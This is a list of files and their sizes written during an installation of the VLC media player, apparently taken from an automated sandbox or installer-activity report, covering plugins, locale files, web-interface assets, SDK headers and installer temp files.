%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_01.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libstats_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libpng_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSansBold.ttf (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll (372030 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Video-48.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_osd.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist_small.png (84 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstospdif_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\input (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_smb_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\batch_window.html (857 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_media_library.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\help.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\vlm.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\error_window.html (482 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_08.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\main.css (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Reset VLC media player preferences and cache files.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_version.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_spu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\test.html (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_udp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_mosaic_bridge_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libequalizer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libconverter_fixed_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_xml.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe.manifest (825 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_messages.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\ui.js (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_h264_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\co\LC_MESSAGES\vlc.mo (702 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libxa_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_subpicture.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png (197 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libkaraoke_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\icecast.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libavcodec_plugin.dll (330807 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_plugin.h (16 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libpva_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\style.css (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\vlc.mo (19096 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo (13584 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_about.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libscaletempo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_05.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\es\LC_MESSAGES\vlc.mo (19096 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\esc.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libcdda_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll (41699 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libschroedinger_plugin.dll (36698 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libflac_plugin.dll (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\custom.lua (487 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\libvlc.pc (283 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.exe (2968 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm_export.html (296 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libaudioscrobbler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_display_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_avcodec.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_library.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fs.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\et\LC_MESSAGES\vlc.mo (16944 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libgestures_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slow.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\fetcher\tvrage.luac (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdB04D.tmp\UAC.dll (30 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\de\LC_MESSAGES\vlc.mo (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_transcode_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png (126 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libstl_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libimage_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libchorus_flanger_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_md5.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ogg_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libpodcast_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_charset.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cs\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_file_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\zapiks.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_strings.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfluidsynth_plugin.dll (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_url.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\index.html (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sql.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\dkjson.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config_cat.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libfolder_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_video_splitter.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_bridge_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudiobargraph_a_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ms\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_es_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pluzz.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libau_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_objects.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_left.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_atomic.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libnormvol_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll (1856 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VideoLAN Website.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsid_plugin.dll (32784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\dailymotion.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png (115 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtwolame_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_http_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zu\LC_MESSAGES\vlc.mo (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\deprecated.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libgnutls_plugin.dll (65945 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metachannels.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudio_format_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\host.luac (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.catalog (167 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\footer (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\jamendo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\mobile.css (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libugly_resampler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libcompressor_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_attachment_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_http_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\02_frenchtv.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_text_style.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspeex_resampler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libvod_rtsp_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\appletrailers.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libparam_eq_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_tls.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\prev.png (104 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibmpeg2_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\refresh.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xlib.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_meta.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libheadphone_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tet\LC_MESSAGES\vlc.mo (484 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lg\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mlp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_langfromtelx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_realrtsp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_variables.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bn\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\browse (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_equalizer.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\vlc-plugin.pc (816 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_intf.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc-48.png (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdB04D.tmp (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\buttons.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\unselected.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\cli.luac (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.dtd (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\favicon.ico (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_window.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libts_plugin.dll (5064 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Documentation.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dumpmeta.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\rockbox_fm_presets.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_bits.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspeex_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\THANKS.txt (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_00.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_playlist.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker.png (174 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_rand.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_description_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\controlers.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\offset_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Other-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_shout_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mp4_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspudec_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdtv_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawdv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\sout (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist.png (85 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\katsomo.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\browse_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\README.TXT (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\jamendo.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\eject.png (93 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libamem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\README.txt (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\liblogger_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\NEWS.txt (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ml\LC_MESSAGES\vlc.mo (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_select_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\play_pause.png (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_06.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_events.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_rtp_plugin.dll (16424 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\common.js (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\soundcloud.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc-cache-gen.exe (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.lib (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tospdif_plugin.dll (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdB04D.tmp\InstallOptions.dll (30 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_yuy2_mmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libwav_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libzvbi_plugin.dll (38495 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll (8560 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pa\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_right.png (91 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_wav_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\stop.png (80 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\winamp2.xml (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dummy.luac (819 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_mixer.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\break.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\vlm (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\simplexml.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hu\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nn\LC_MESSAGES\vlc.mo (4992 bytes)
